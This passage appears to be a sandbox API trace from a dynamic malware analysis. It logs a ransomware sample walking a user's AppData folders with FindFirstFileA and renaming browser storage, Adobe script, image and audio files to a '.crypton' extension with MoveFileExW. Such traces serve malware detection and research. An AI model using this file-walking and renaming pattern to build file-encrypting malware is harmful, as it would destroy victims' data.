"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.crypton"), dwFlags=0x2) returned 1 [0206.983] GetFileType (hFile=0x20c) returned 0x1 [0206.988] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf8baef00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8baef00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0206.990] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.crypton"), dwFlags=0x2) returned 1 [0207.009] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat.crypton"), dwFlags=0x2) returned 1 [0207.010] GetFileType (hFile=0x20c) returned 0x1 [0207.032] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf8c21320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8c21320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0207.033] GetFileType (hFile=0x20c) returned 0x1 [0207.037] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf8c21320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8c21320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0207.040] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.crypton"), dwFlags=0x2) returned 1 [0207.041] GetFileType (hFile=0x1a4) returned 0x1 [0207.045] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf8c47480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8c47480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0207.048] GetFileType (hFile=0x1ac) returned 0x1 [0207.053] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf8c47480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8c47480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0207.058] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf8c6d5e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8c6d5e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0207.059] GetFileType (hFile=0x1a4) returned 0x1 [0207.063] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf8c6d5e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8c6d5e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0207.068] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf8c6d5e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8c6d5e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0207.070] GetFileType (hFile=0x20c) returned 0x1 [0207.074] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf8c93740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8c93740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0207.074] GetFileType (hFile=0x20c) returned 0x1 [0207.079] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf8c93740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8c93740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0207.079] GetFileType (hFile=0x214) returned 0x1 [0207.083] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf8c93740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8c93740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0207.088] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf8cb98a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8cb98a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0207.089] GetFileType (hFile=0x178) returned 0x1 [0207.090] GetFileType (hFile=0x178) returned 0x1 [0207.091] GetFileType (hFile=0x178) returned 0x1 [0207.092] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf8cb98a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8cb98a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0207.101] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-7c.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-7c.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-7c.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-7c.png.crypton"), dwFlags=0x2) returned 1 [0207.108] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9LG9g_7I4wWjkxHj.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\9lg9g_7i4wwjkxhj.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9LG9g_7I4wWjkxHj.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\9lg9g_7i4wwjkxhj.bmp.crypton"), dwFlags=0x2) returned 1 [0207.159] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9N9y8OdYlA_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\9n9y8odyla_.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9N9y8OdYlA_.m4a.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\9n9y8odyla_.m4a.crypton"), dwFlags=0x2) returned 1 [0207.166] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8d77f80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8d77f80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0207.167] GetFileType (hFile=0x190) returned 0x1 [0207.171] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8d77f80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8d77f80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0207.177] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8d77f80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8d77f80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0207.187] GetFileType (hFile=0x20c) returned 0x1 [0207.192] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8d9e0e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8d9e0e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0207.193] GetFileType (hFile=0x20c) returned 0x1 [0207.198] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8dc4240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8dc4240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0207.204] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf8dc4240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8dc4240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0207.205] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js.crypton"), dwFlags=0x2) returned 1 [0207.208] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js.crypton"), dwFlags=0x2) returned 1 [0207.210] GetFileType (hFile=0x20c) returned 0x1 [0207.215] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8dea3a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8dea3a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0207.228] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8e10500, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8e10500, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0207.229] GetFileType (hFile=0x190) returned 0x1 [0207.233] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8e10500, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8e10500, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0207.234] GetFileType (hFile=0x1a4) returned 0x1 [0207.242] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8e36660, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8e36660, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0207.243] GetFileType (hFile=0x20c) returned 0x1 [0207.248] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xf8e36660, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8e36660, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0207.248] GetFileType (hFile=0x190) returned 0x1 [0207.252] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8e36660, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8e36660, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0207.253] GetFileType (hFile=0x190) returned 0x1 [0207.257] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8e5c7c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8e5c7c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0207.258] GetFileType (hFile=0x1a4) returned 0x1 [0207.669] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf923ab80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf923ab80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0207.669] GetFileType (hFile=0x190) returned 0x1 [0207.701] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf9286e40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9286e40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0207.760] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\aFm2wjqW_AeFt.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\afm2wjqw_aeft.ots"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\aFm2wjqW_AeFt.ots.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\afm2wjqw_aeft.ots.crypton"), dwFlags=0x2) returned 1 [0207.808] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CKwRPboov1jv7.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ckwrpboov1jv7.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CKwRPboov1jv7.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ckwrpboov1jv7.png.crypton"), dwFlags=0x2) returned 1 [0207.835] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d 2hcQeZdmOQnNb.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\d 2hcqezdmoqnnb.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d 2hcQeZdmOQnNb.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\d 2hcqezdmoqnnb.png.crypton"), dwFlags=0x2) returned 1 [0207.844] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eWnW7-aEo.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ewnw7-aeo.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS 